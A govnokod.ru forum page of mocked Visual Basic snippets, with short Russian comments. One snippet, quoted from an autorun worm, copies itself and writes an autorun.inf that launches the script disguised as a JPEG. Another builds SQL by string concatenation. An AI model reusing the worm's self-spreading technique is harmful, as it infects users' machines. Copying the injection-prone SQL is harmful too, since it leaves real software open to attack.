- 1
We’ve heard your feedback that you want Visual Basic on .NET Core
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−2
We’ve heard your feedback that you want Visual Basic on .NET Core
https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/
+2
REM I'm trying to do some simple webscraping in OpenOffice (I usually work in Excel but I'm trying to port
REM something over for a coworker that doesn't have Excel).
REM However, when I try to run something very similar to this, it keeps giving me this BASIC runtime error 1.
Sub Macro1
Dim explorer As Object
Set explorer = CreateObject("InternetExplorer.Application")
explorer.Visible = True
explorer.navigate("www.yahoo.com")
Const READYSTATE_COMPLETE As Long = 4
Do While explorer.Busy Or explorer.readyState <> READYSTATE_COMPLETE
Loop
dim page as object
set page = explorer.Document
dim mailButton as object
set mailButton = page.GetElementByID("ybar-navigation-item-mail") 'this is the line the error occurs on
mailButton.Click
End Sub
а чего бы нам не краулить сайты, запуская IE через BASIC в экселе
https://stackoverflow.com/questions/64010764/is-webscraping-with-openoffice-basic-even-possible
0
Код с продакшена рабочего проекта :-D
Dim got_new_batch As Boolean = False
Dim batch_numb As Integer = 0
Dim temp_batch As Integer = 0
While got_new_batch = False
temp_batch = objRandom.Next(400000000)
If check_batch_avaliable(temp_batch) = True Then
got_new_batch = True
batch_numb = temp_batch
End If
End While
Public Function check_batch_avaliable(ByVal batch_number As Integer) As Boolean
'CWC-7/11/2016-Rewritten to avoid runtime error
Dim RC As Integer = -1
Dim DBConnection As New IfxConnection(INFXConnectionStr_RPCentral)
'Try
Dim SQL As String = ""
SQL = " select first 1 batch_numb from " + System.Configuration.ConfigurationManager.AppSettings("InformixTable") + " where batch_numb = " & batch_number
Dim DBCommand As New IfxCommand(SQL, DBConnection)
DBCommand.CommandType = CommandType.Text
DBCommand.CommandTimeout = 200
DBConnection.Open()
RC = CInt(DBCommand.ExecuteScalar())
DBConnection.Close()
' Catch ex As Exception
' Dim ErrMsg = ex.Message
' Finally
If Not DBConnection Is Nothing Then
If DBConnection.State = ConnectionState.Open Then
DBConnection.Close()
End If
DBConnection = Nothing
End If
' End Try
If RC > 0 Then
Return False
Else
Return True
End If
End Function
0
sub addleft
for i = 1 to 4
for j = 1 to 3
if a(i,j)<>0 and a(i,j) = a(i,j+1) then
moved = true
a(i,j) = a(i,j)+1
a(i,j+1) = 0
score = score + integer ( 2**a(i,j) )
end if
end for
end for
end sub
sub left
for i = 1 to 4
for k = 1 to 3
for j = 1 to 3
if a(i,j) = 0 and a(i,j+1) <> 0 then
moved = true
a(i,j) = a(i,j+1)
a(i,j+1) = 0
end if
end for
end for
end for
end sub
rem addright, addup, adddown, right, up, down в том же духе
rem . . .
rem главный суслик
while true
xy = touchdown()
if xy <> -1 then
x = xy/65536&0x0000ffff
y = xy&0x0000ffff
repeat
sleep 10
xy = touchup()
until xy <> -1
x = x - (xy/65536&0x0000ffff)
y = y - (xy&0x0000ffff)
if (abs(x)>100) <> (abs(y)>100) then
moved = false
if abs(x) > 100 then
if x > 0 then
left
addleft
left
else
right
addright
right
end if
else
if y > 0 then
up
addup
up
else
down
adddown
down
end if
end if
if moved then
rand
end if
end if
else
sleep 10
end if
draw
sleep 50
end while
Не визуальный, но всё-таки барсик (могильный).
0
Const strMask="258258258258258258"
mNumber = Clng(Left(mParam1,2))*100000+Clng(Right(mParam1,5))*10+Clng(mParam2)
mResStr = Right("000000000"+Cstr(mNumber),9)
For c=1 To 9
mRes1 = Cint(Mid(mResStr, c, 1))
mRes2 = Int(Rnd()*10)
strPreResult=Cstr(mRes1)+Cstr(mRes2)
mCheckSum = mCheckSum+mRes1*Cint(Mid(strMask, (c-1)*2+1, 1))
mCheckSum = mCheckSum+mRes2*Cint(Mid(strMask, (c)*2, 1))
Print strPreResult, mCheckSum
strResult=strResult+strPreResult
Next c
strResult = Left(strResult,9)+Right("00"+Cstr((mCheckSum Mod 95)Mod 100),2)+Right(strResult,8)
Генератор случайных чисел.
Почему везде такой не используется?
0
Private Function DecodName(ByVal ind As Integer) As String
''перекодування назви місяця
Select Case ind
Case 1
Return "Січень"
Case 2
Return "Лютий"
Case 3
Return "Березень"
Case 4
Return "Квітень"
Case 5
Return "Травень"
Case 6
Return "Червень"
Case 7
Return "Липень"
Case 8
Return "Серпень"
Case 9
Return "Вересень"
Case 10
Return "Жовтень"
Case 11
Return "Листопад"
Case 12
Return "Грудень"
Case Else
Return ""
End Select
End Function
Мои глаза...
−97
if (not fso.fileexists(fname)) or (not fso.fileexixts(aname)) then
if (fso.fileexists(fname)=false) then
fso.copyfile wscript.scriptname,fname
end if
if (fso.fileexists(aname)=false) then
set au=fso.createtextfile aname,2,true
au.writeline "[AutoRun]"
au.writeline "shellexecute=wscript /e:vbs pamela handerson.jpg -autostart"
au.close
fso.getfile(aname).attributes=32
set au=nothing
end if
end if
...
Взято из кода одного autorun-червя. Вопрос: нахуя?
−121
If ((ind_imit_gun = 0) And _
((input_B_LA2 And shop) = shop) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And lonely) = lonely) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 0) And _
((input_B_LA2 And shop) = shop) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And mashin) = mashin) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 1) And _
((input_B_LA2 And shop) = shop) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And lonely) = lonely) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 2) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And lonely) = lonely) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 2) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And mashin) = mashin) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 3) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And mashin) = mashin) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 4) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And lonely) = lonely) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 6) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And lonely) = lonely) And _
(input_A_LA48 And choice_k) = choice_k) Then
Вот такая страшная проверка нужных битов битовыми масками используется в одном военном ПО xD
И на мой взгляд тут есть ошибки,но почему то работает.
−111
Set rs = CurrentDb.OpenRecordset(sql, dbOpenDynaset)
If rs.RecordCount > 0 Then
rs.MoveLast
rscnt = rs.RecordCount
rs.MoveFirst
If rscnt >= 2 Then
ApllyActions = 1
lActionText.Visible = True
rs.Edit
rs!Cost = rs!CostSrc * (100 - discount) / 100
rs!Summa = rs!CostSrc * (100 - discount) / 100
rs!discount = -discount
rs.Update
If rscnt >= 4 Then
rs.MoveNext
rs.Edit
rs!Cost = rs!CostSrc * (100 - discount) / 100
rs!Summa = rs!CostSrc * (100 - discount) / 100
rs!discount = -discount
rs.Update
If rscnt >= 6 Then
rs.MoveNext
rs.Edit
rs!Cost = rs!CostSrc * (100 - discount) / 100
rs!Summa = rs!CostSrc * (100 - discount) / 100
rs!discount = -discount
rs.Update
If rscnt >= 8 Then
rs.MoveNext
rs.Edit
rs!Cost = rs!CostSrc * (100 - discount) / 100
rs!Summa = rs!CostSrc * (100 - discount) / 100
rs!discount = -discount
rs.Update
If rscnt >= 10 Then
rs.MoveNext
rs.Edit
rs!Cost = rs!CostSrc * (100 - discount) / 100
rs!Summa = rs!CostSrc * (100 - discount) / 100
rs!discount = -discount
rs.Update
If rscnt >= 12 Then
rs.MoveNext
rs.Edit
rs!Cost = rs!CostSrc * (100 - discount) / 100
rs!Summa = rs!CostSrc * (100 - discount) / 100
rs!discount = -discount
rs.Update
If rscnt >= 14 Then
rs.MoveNext
rs.Edit
rs!Cost = rs!CostSrc * (100 - discount) / 100
rs!Summa = rs!CostSrc * (100 - discount) / 100
rs!discount = -discount
rs.Update
If rscnt >= 16 Then
rs.MoveNext
rs.Edit
rs!Cost = rs!CostSrc * (100 - discount) / 100
rs!Summa = rs!CostSrc * (100 - discount) / 100
rs!discount = -discount
rs.Update
If rscnt >= 18 Then
rs.MoveNext
rs.Edit
rs!Cost = rs!CostSrc * (100 - discount) / 100
rs!Summa = rs!CostSrc * (100 - discount) / 100
rs!discount = -discount
rs.Update
If rscnt >= 20 Then
rs.MoveNext
rs.Edit
rs!Cost = rs!CostSrc * (100 - discount) / 100
rs!Summa = rs!CostSrc * (100 - discount) / 100
rs!discount = -discount
rs.Update
If rscnt >= 22 Then
rs.MoveNext
rs.Edit
rs!Cost = rs!CostSrc * (100 - discount) / 100
rs!Summa = rs!CostSrc * (100 - discount) / 100
rs!discount = -discount
rs.Update
If rscnt >= 24 Then
rs.MoveNext
rs.Edit
rs!Cost = rs!CostSrc * (100 - discount) / 100
rs!Summa = rs!CostSrc * (100 - discount) / 100
rs!discount = -discount
rs.Update
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
Код старшего программиста для проведения продажи "3 товара по цене двух". Опыт -10 лет. Если в чеке единиц товара больше 24, => не сработает.
−133
Public m_Values As Hashtable
Public Function GetSensorType(p_SensorType As SensorType) As SensorValue
For Each de As DictionaryEntry In m_Values
If CType(de.Key, SensorType) = p_SensorType Then
Return de.Value
End If
Next
Return Nothing
End Function
Отличный пример работы с Hashtable!